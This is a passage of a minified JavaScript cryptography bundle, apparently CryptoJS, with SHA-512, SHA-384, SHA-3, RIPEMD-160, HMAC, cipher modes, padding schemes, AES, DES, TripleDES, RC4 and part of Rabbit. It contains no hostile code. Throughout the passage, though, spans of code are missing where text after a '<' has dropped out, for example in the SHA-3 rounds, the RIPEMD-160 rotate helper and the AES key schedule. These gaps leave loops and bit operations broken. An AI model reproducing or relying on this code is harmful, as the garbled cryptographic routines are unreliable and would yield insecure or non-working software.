t[e>>>5]|=128<<24-e%32,t[30+(e+128>>>10<<5)]=Math.floor(r/4294967296),t[31+(e+128>>>10<<5)]=r,n.sigBytes=4*t.length,this._process(),this._hash.toX32()},clone:function(){var n=r.clone.call(this);return n._hash=this._hash.clone(),n},blockSize:32});t.SHA512=r._createHelper(s),t.HmacSHA512=r._createHmacHelper(s)}(),n.SHA512}(mt.exports)}(Mt);var St={exports:{}};!function(n,t){n.exports=function(n){return r=(t=n).x64,e=r.Word,i=r.WordArray,u=t.algo,o=u.SHA512,c=u.SHA384=o.extend({_doReset:function(){this._hash=new i.init([new e.init(3418070365,3238371032),new e.init(1654270250,914150663),new e.init(2438529370,812702999),new e.init(355462360,4144912697),new e.init(1731405415,4290775857),new e.init(2394180231,1750603025),new e.init(3675008525,1694076839),new e.init(1203062813,3204075428)])},_doFinalize:function(){var n=o._doFinalize.call(this);return n.sigBytes-=16,n}}),t.SHA384=o._createHelper(c),t.HmacSHA384=o._createHmacHelper(c),n.SHA384;var t,r,e,i,u,o,c}(mt.exports)}(St);var kt={exports:{}};!function(n,t){n.exports=function(n){return function(t){var r=n,e=r.lib,i=e.WordArray,u=e.Hasher,o=r.x64.Word,c=r.algo,a=[],f=[],s=[];!function(){for(var n=1,t=0,r=0;r<24;r++){a[n+5*t]=(r+1)*(r+2)/2%64;var e=(2*n+3*t)%5;n=t%5,t=e}for(n=0;n<5;n++)for(t=0;t<5;t++)f[n+5*t]=t+(2*n+3*t)%5*5;for(var i=1,u=0;u<24;u++){for(var c=0,v=0,h=0;h<7;h++){if(1&i){var l=(1<>>24)|4278255360&(u<<24|u>>>8),o=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),(L=r[i]).high^=o,L.low^=u}for(var c=0;c<24;c++){for(var h=0;h<5;h++){for(var l=0,x=0,d=0;d<5;d++)l^=(L=r[h+5*d]).high,x^=L.low;var p=v[h];p.high=l,p.low=x}for(h=0;h<5;h++){var y=v[(h+4)%5],_=v[(h+1)%5],w=_.high,g=_.low;for(l=y.high^(w<<1|g>>>31),x=y.low^(g<<1|w>>>31),d=0;d<5;d++)(L=r[h+5*d]).high^=l,L.low^=x}for(var m=1;m<25;m++){var b=(L=r[m]).high,C=L.low,z=a[m];z<32?(l=b<>>32-z,x=C<>>32-z):(l=C<>>64-z,x=b<>>64-z);var B=v[f[m]];B.high=l,B.low=x}var D=v[0],A=r[0];for(D.high=A.high,D.low=A.low,h=0;h<5;h++)for(d=0;d<5;d++){var L=r[m=h+5*d],K=v[m],q=v[(h+1)%5+5*d],M=v[(h+2)%5+5*d];L.high=K.high^~q.high&M.high,L.low=K.low^~q.low&M.low}L=r[0];var S=s[c];L.high^=S.high,L.low^=S.low}},_doFinalize:function(){var n=this._data,r=n.words;this._nDataBytes;var e=8*n.sigBytes,u=32*this.blockSize;r[e>>>5]|=1<<24-e%32,r[(t.ceil((e+1)/u)*u>>>5)-1]|=128,n.sigBytes=4*r.length,this._process();for(var o=this._state,c=this.cfg.outputLength/8,a=c/8,f=[],s=0;s>>24)|4278255360&(h<<24|h>>>8),l=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8),f.push(l),f.push(h)}return new i.init(f,c)},clone:function(){for(var n=u.clone.call(this),t=n._state=this._state.slice(0),r=0;r<25;r++)t[r]=t[r].clone();return n}});r.SHA3=u._createHelper(h),r.HmacSHA3=u._createHmacHelper(h)}(Math),n.SHA3}(mt.exports)}(kt);var jt={exports:{}};!function(n,t){n.exports=function(n){ +/** @preserve + (c) 2012 by Cédric Mesnil. All rights reserved. + Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +return function(t){var r=n,e=r.lib,i=e.WordArray,u=e.Hasher,o=r.algo,c=i.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),a=i.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),f=i.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),s=i.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),v=i.create([0,1518500249,1859775393,2400959708,2840853838]),h=i.create([1352829926,1548603684,1836072691,2053994217,0]),l=o.RIPEMD160=u.extend({_doReset:function(){this._hash=i.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(n,t){for(var r=0;r<16;r++){var e=t+r,i=n[e];n[e]=16711935&(i<<8|i>>>24)|4278255360&(i<<24|i>>>8)}var u,o,l,g,m,b,C,z,B,D,A,L=this._hash.words,K=v.words,q=h.words,M=c.words,S=a.words,k=f.words,j=s.words;for(b=u=L[0],C=o=L[1],z=l=L[2],B=g=L[3],D=m=L[4],r=0;r<80;r+=1)A=u+n[t+M[r]]|0,A+=r<16?x(o,l,g)+K[0]:r<32?d(o,l,g)+K[1]:r<48?p(o,l,g)+K[2]:r<64?y(o,l,g)+K[3]:_(o,l,g)+K[4],A=(A=w(A|=0,k[r]))+m|0,u=m,m=g,g=w(l,10),l=o,o=A,A=b+n[t+S[r]]|0,A+=r<16?_(C,z,B)+q[0]:r<32?y(C,z,B)+q[1]:r<48?p(C,z,B)+q[2]:r<64?d(C,z,B)+q[3]:x(C,z,B)+q[4],A=(A=w(A|=0,j[r]))+D|0,b=D,D=B,B=w(z,10),z=C,C=A;A=L[1]+l+B|0,L[1]=L[2]+g+D|0,L[2]=L[3]+m+b|0,L[3]=L[4]+u+C|0,L[4]=L[0]+o+z|0,L[0]=A},_doFinalize:function(){var n=this._data,t=n.words,r=8*this._nDataBytes,e=8*n.sigBytes;t[e>>>5]|=128<<24-e%32,t[14+(e+64>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),n.sigBytes=4*(t.length+1),this._process();for(var i=this._hash,u=i.words,o=0;o<5;o++){var c=u[o];u[o]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return i},clone:function(){var n=u.clone.call(this);return n._hash=this._hash.clone(),n}});function x(n,t,r){return n^t^r}function d(n,t,r){return n&t|~n&r}function p(n,t,r){return(n|~t)^r}function y(n,t,r){return n&r|t&~r}function _(n,t,r){return n^(t|~r)}function w(n,t){return n<>>32-t}r.RIPEMD160=u._createHelper(l),r.HmacRIPEMD160=u._createHmacHelper(l)}(),n.RIPEMD160}(mt.exports)}(jt);var Et={exports:{}};!function(n,t){n.exports=function(n){var t,r,e;r=(t=n).lib.Base,e=t.enc.Utf8,t.algo.HMAC=r.extend({init:function(n,t){n=this._hasher=new n.init,"string"==typeof t&&(t=e.parse(t));var r=n.blockSize,i=4*r;t.sigBytes>i&&(t=n.finalize(t)),t.clamp();for(var u=this._oKey=t.clone(),o=this._iKey=t.clone(),c=u.words,a=o.words,f=0;f>>2];n.sigBytes-=t}};e.BlockCipher=s.extend({cfg:s.cfg.extend({mode:l,padding:x}),reset:function(){var n;s.reset.call(this);var t=this.cfg,r=t.iv,e=t.mode;this._xformMode==this._ENC_XFORM_MODE?n=e.createEncryptor:(n=e.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==n?this._mode.init(this,r&&r.words):(this._mode=n.call(e,this,r&&r.words),this._mode.__creator=n)},_doProcessBlock:function(n,t){this._mode.processBlock(n,t)},_doFinalize:function(){var n,t=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(t.pad(this._data,this.blockSize),n=this._process(!0)):(n=this._process(!0),t.unpad(n)),n},blockSize:4});var d=e.CipherParams=i.extend({init:function(n){this.mixIn(n)},toString:function(n){return(n||this.formatter).stringify(this)}}),p=(r.format={}).OpenSSL={stringify:function(n){var t=n.ciphertext,r=n.salt;return(r?u.create([1398893684,1701076831]).concat(r).concat(t):t).toString(a)},parse:function(n){var t,r=a.parse(n),e=r.words;return 1398893684==e[0]&&1701076831==e[1]&&(t=u.create(e.slice(2,4)),e.splice(0,4),r.sigBytes-=16),d.create({ciphertext:r,salt:t})}},y=e.SerializableCipher=i.extend({cfg:i.extend({format:p}),encrypt:function(n,t,r,e){e=this.cfg.extend(e);var i=n.createEncryptor(r,e),u=i.finalize(t),o=i.cfg;return d.create({ciphertext:u,key:r,iv:o.iv,algorithm:n,mode:o.mode,padding:o.padding,blockSize:n.blockSize,formatter:e.format})},decrypt:function(n,t,r,e){return e=this.cfg.extend(e),t=this._parse(t,e.format),n.createDecryptor(r,e).finalize(t.ciphertext)},_parse:function(n,t){return"string"==typeof n?t.parse(n,this):n}}),_=(r.kdf={}).OpenSSL={execute:function(n,t,r,e){e||(e=u.random(8));var i=f.create({keySize:t+r}).compute(n,e),o=u.create(i.words.slice(t),4*r);return i.sigBytes=4*t,d.create({key:i,iv:o,salt:e})}},w=e.PasswordBasedCipher=y.extend({cfg:y.cfg.extend({kdf:_}),encrypt:function(n,t,r,e){var i=(e=this.cfg.extend(e)).kdf.execute(r,n.keySize,n.ivSize);e.iv=i.iv;var u=y.encrypt.call(this,n,t,i.key,e);return u.mixIn(i),u},decrypt:function(n,t,r,e){e=this.cfg.extend(e),t=this._parse(t,e.format);var i=e.kdf.execute(r,n.keySize,n.ivSize,t.salt);return e.iv=i.iv,y.decrypt.call(this,n,t,i.key,e)}})}()}(mt.exports)}(Ot);var Pt={exports:{}};!function(n,t){n.exports=function(n){return n.mode.CFB=function(){var t=n.lib.BlockCipherMode.extend();function r(n,t,r,e){var i,u=this._iv;u?(i=u.slice(0),this._iv=void 0):i=this._prevBlock,e.encryptBlock(i,0);for(var o=0;o>24&255)){var t=n>>16&255,r=n>>8&255,e=255&n;255===t?(t=0,255===r?(r=0,255===e?e=0:++e):++r):++t,n=0,n+=t<<16,n+=r<<8,n+=e}else n+=1<<24;return n}function e(n){return 0===(n[0]=r(n[0]))&&(n[1]=r(n[1])),n}var i=t.Encryptor=t.extend({processBlock:function(n,t){var r=this._cipher,i=r.blockSize,u=this._iv,o=this._counter;u&&(o=this._counter=u.slice(0),this._iv=void 0),e(o);var c=o.slice(0);r.encryptBlock(c,0);for(var a=0;a>>2]|=i<<24-u%4*8,n.sigBytes+=i},unpad:function(n){var t=255&n.words[n.sigBytes-1>>>2];n.sigBytes-=t}},n.pad.Ansix923}(mt.exports)}(Ft);var Rt={exports:{}};!function(n,t){n.exports=function(n){return n.pad.Iso10126={pad:function(t,r){var e=4*r,i=e-t.sigBytes%e;t.concat(n.lib.WordArray.random(i-1)).concat(n.lib.WordArray.create([i<<24],1))},unpad:function(n){var t=255&n.words[n.sigBytes-1>>>2];n.sigBytes-=t}},n.pad.Iso10126}(mt.exports)}(Rt);var Ut={exports:{}};!function(n,t){n.exports=function(n){return n.pad.Iso97971={pad:function(t,r){t.concat(n.lib.WordArray.create([2147483648],1)),n.pad.ZeroPadding.pad(t,r)},unpad:function(t){n.pad.ZeroPadding.unpad(t),t.sigBytes--}},n.pad.Iso97971}(mt.exports)}(Ut);var Xt={exports:{}};!function(n,t){n.exports=function(n){return n.pad.ZeroPadding={pad:function(n,t){var r=4*t;n.clamp(),n.sigBytes+=r-(n.sigBytes%r||r)},unpad:function(n){var t=n.words,r=n.sigBytes-1;for(r=n.sigBytes-1;r>=0;r--)if(t[r>>>2]>>>24-r%4*8&255){n.sigBytes=r+1;break}}},n.pad.ZeroPadding}(mt.exports)}(Xt);var Yt={exports:{}};!function(n,t){n.exports=function(n){return n.pad.NoPadding={pad:function(){},unpad:function(){}},n.pad.NoPadding}(mt.exports)}(Yt);var Zt={exports:{}};!function(n,t){n.exports=function(n){return r=(t=n).lib.CipherParams,e=t.enc.Hex,t.format.Hex={stringify:function(n){return n.ciphertext.toString(e)},parse:function(n){var t=e.parse(n);return r.create({ciphertext:t})}},n.format.Hex;var t,r,e}(mt.exports)}(Zt);var Vt={exports:{}};!function(n,t){n.exports=function(n){return function(){var t=n,r=t.lib.BlockCipher,e=t.algo,i=[],u=[],o=[],c=[],a=[],f=[],s=[],v=[],h=[],l=[];!function(){for(var n=[],t=0;t<256;t++)n[t]=t<128?t<<1:t<<1^283;var r=0,e=0;for(t=0;t<256;t++){var x=e^e<<1^e<<2^e<<3^e<<4;x=x>>>8^255&x^99,i[r]=x,u[x]=r;var d=n[r],p=n[d],y=n[p],_=257*n[x]^16843008*x;o[r]=_<<24|_>>>8,c[r]=_<<16|_>>>16,a[r]=_<<8|_>>>24,f[r]=_,_=16843009*y^65537*p^257*d^16843008*r,s[x]=_<<24|_>>>8,v[x]=_<<16|_>>>16,h[x]=_<<8|_>>>24,l[x]=_,r?(r=d^n[n[n[y^d]]],e^=n[n[e]]):r=e=1}}();var x=[0,1,2,4,8,16,32,64,128,27,54],d=e.AES=r.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var n=this._keyPriorReset=this._key,t=n.words,r=n.sigBytes/4,e=4*((this._nRounds=r+6)+1),u=this._keySchedule=[],o=0;o6&&o%r==4&&(f=i[f>>>24]<<24|i[f>>>16&255]<<16|i[f>>>8&255]<<8|i[255&f]):(f=i[(f=f<<8|f>>>24)>>>24]<<24|i[f>>>16&255]<<16|i[f>>>8&255]<<8|i[255&f],f^=x[o/r|0]<<24),u[o]=u[o-r]^f);for(var c=this._invKeySchedule=[],a=0;a>>24]]^v[i[f>>>16&255]]^h[i[f>>>8&255]]^l[i[255&f]]}}},encryptBlock:function(n,t){this._doCryptBlock(n,t,this._keySchedule,o,c,a,f,i)},decryptBlock:function(n,t){var r=n[t+1];n[t+1]=n[t+3],n[t+3]=r,this._doCryptBlock(n,t,this._invKeySchedule,s,v,h,l,u),r=n[t+1],n[t+1]=n[t+3],n[t+3]=r},_doCryptBlock:function(n,t,r,e,i,u,o,c){for(var a=this._nRounds,f=n[t]^r[0],s=n[t+1]^r[1],v=n[t+2]^r[2],h=n[t+3]^r[3],l=4,x=1;x>>24]^i[s>>>16&255]^u[v>>>8&255]^o[255&h]^r[l++],p=e[s>>>24]^i[v>>>16&255]^u[h>>>8&255]^o[255&f]^r[l++],y=e[v>>>24]^i[h>>>16&255]^u[f>>>8&255]^o[255&s]^r[l++],_=e[h>>>24]^i[f>>>16&255]^u[s>>>8&255]^o[255&v]^r[l++];f=d,s=p,v=y,h=_}d=(c[f>>>24]<<24|c[s>>>16&255]<<16|c[v>>>8&255]<<8|c[255&h])^r[l++],p=(c[s>>>24]<<24|c[v>>>16&255]<<16|c[h>>>8&255]<<8|c[255&f])^r[l++],y=(c[v>>>24]<<24|c[h>>>16&255]<<16|c[f>>>8&255]<<8|c[255&s])^r[l++],_=(c[h>>>24]<<24|c[f>>>16&255]<<16|c[s>>>8&255]<<8|c[255&v])^r[l++],n[t]=d,n[t+1]=p,n[t+2]=y,n[t+3]=_},keySize:8});t.AES=r._createHelper(d)}(),n.AES}(mt.exports)}(Vt);var Jt={exports:{}};!function(n,t){n.exports=function(n){return function(){var t=n,r=t.lib,e=r.WordArray,i=r.BlockCipher,u=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],c=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],a=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],f=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],s=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],v=u.DES=i.extend({_doReset:function(){for(var n=this._key.words,t=[],r=0;r<56;r++){var e=o[r]-1;t[r]=n[e>>>5]>>>31-e%32&1}for(var i=this._subKeys=[],u=0;u<16;u++){var f=i[u]=[],s=a[u];for(r=0;r<24;r++)f[r/6|0]|=t[(c[r]-1+s)%28]<<31-r%6,f[4+(r/6|0)]|=t[28+(c[r+24]-1+s)%28]<<31-r%6;for(f[0]=f[0]<<1|f[0]>>>31,r=1;r<7;r++)f[r]=f[r]>>>4*(r-1)+3;f[7]=f[7]<<5|f[7]>>>27}var v=this._invSubKeys=[];for(r=0;r<16;r++)v[r]=i[15-r]},encryptBlock:function(n,t){this._doCryptBlock(n,t,this._subKeys)},decryptBlock:function(n,t){this._doCryptBlock(n,t,this._invSubKeys)},_doCryptBlock:function(n,t,r){this._lBlock=n[t],this._rBlock=n[t+1],h.call(this,4,252645135),h.call(this,16,65535),l.call(this,2,858993459),l.call(this,8,16711935),h.call(this,1,1431655765);for(var e=0;e<16;e++){for(var i=r[e],u=this._lBlock,o=this._rBlock,c=0,a=0;a<8;a++)c|=f[a][((o^i[a])&s[a])>>>0];this._lBlock=o,this._rBlock=u^c}var v=this._lBlock;this._lBlock=this._rBlock,this._rBlock=v,h.call(this,1,1431655765),l.call(this,8,16711935),l.call(this,2,858993459),h.call(this,16,65535),h.call(this,4,252645135),n[t]=this._lBlock,n[t+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function h(n,t){var r=(this._lBlock>>>n^this._rBlock)&t;this._rBlock^=r,this._lBlock^=r<>>n^this._lBlock)&t;this._lBlock^=r,this._rBlock^=r<192.");var t=n.slice(0,2),r=n.length<4?n.slice(0,2):n.slice(2,4),i=n.length<6?n.slice(0,2):n.slice(4,6);this._des1=v.createEncryptor(e.create(t)),this._des2=v.createEncryptor(e.create(r)),this._des3=v.createEncryptor(e.create(i))},encryptBlock:function(n,t){this._des1.encryptBlock(n,t),this._des2.decryptBlock(n,t),this._des3.encryptBlock(n,t)},decryptBlock:function(n,t){this._des3.decryptBlock(n,t),this._des2.encryptBlock(n,t),this._des1.decryptBlock(n,t)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(x)}(),n.TripleDES}(mt.exports)}(Jt);var Qt={exports:{}};!function(n,t){n.exports=function(n){return function(){var t=n,r=t.lib.StreamCipher,e=t.algo,i=e.RC4=r.extend({_doReset:function(){for(var n=this._key,t=n.words,r=n.sigBytes,e=this._S=[],i=0;i<256;i++)e[i]=i;i=0;for(var u=0;i<256;i++){var o=i%r,c=t[o>>>2]>>>24-o%4*8&255;u=(u+e[i]+c)%256;var a=e[i];e[i]=e[u],e[u]=a}this._i=this._j=0},_doProcessBlock:function(n,t){n[t]^=u.call(this)},keySize:8,ivSize:0});function u(){for(var n=this._S,t=this._i,r=this._j,e=0,i=0;i<4;i++){r=(r+n[t=(t+1)%256])%256;var u=n[t];n[t]=n[r],n[r]=u,e|=n[(n[t]+n[r])%256]<<24-8*i}return this._i=t,this._j=r,e}t.RC4=r._createHelper(i);var o=e.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var n=this.cfg.drop;n>0;n--)u.call(this)}});t.RC4Drop=r._createHelper(o)}(),n.RC4}(mt.exports)}(Qt);var $t={exports:{}};!function(n,t){n.exports=function(n){return function(){var t=n,r=t.lib.StreamCipher,e=t.algo,i=[],u=[],o=[],c=e.Rabbit=r.extend({_doReset:function(){for(var n=this._key.words,t=this.cfg.iv,r=0;r<4;r++)n[r]=16711935&(n[r]<<8|n[r]>>>24)|4278255360&(n[r]<<24|n[r]>>>8);var e=this._X=[n[0],n[3]<<16|n[2]>>>16,n[1],n[0]<<16|n[3]>>>16,n[2],n[1]<<16|n[0]>>>16,n[3],n[2]<<16|n[1]>>>16],i=this._C=[n[2]<<16|n[2]>>>16,4294901760&n[0]|65535&n[1],n[3]<<16|n[3]>>>16,4294901760&n[1]|65535&n[2],n[0]<<16|n[0]>>>16,4294901760&n[2]|65535&n[3],n[1]<<16|n[1]>>>16,4294901760&n[3]|65535&n[0]];for(this._b=0,r=0;r<4;r++)a.call(this);for(r=0;r<8;r++)i[r]^=e[r+4&7];if(t){var u=t.words,o=u[0],c=u[1],f=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),s=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),v=f>>>16|4294901760&s,h=s<<16|65535&f;for(i[0]^=f,i[1]^=v,i[2]^=s,i[3]^=h,i[4]^=f,i[5]^=v,i[6]^=s,i[7]^=h,r=0;r<4;r++)a.call(this)}},_doProcessBlock:function(n,t){var r=this._X;a.call(this),i[0]=r[0]^r[5]>>>16^r[3]<<16,i[1]=r[2]^r[7]>>>16^r[5]<<16,i[2]=r[4]^r[1]>>>16^r[7]<<16,i[3]=r[6]^r[3]>>>16^r[1]<<16;for(var 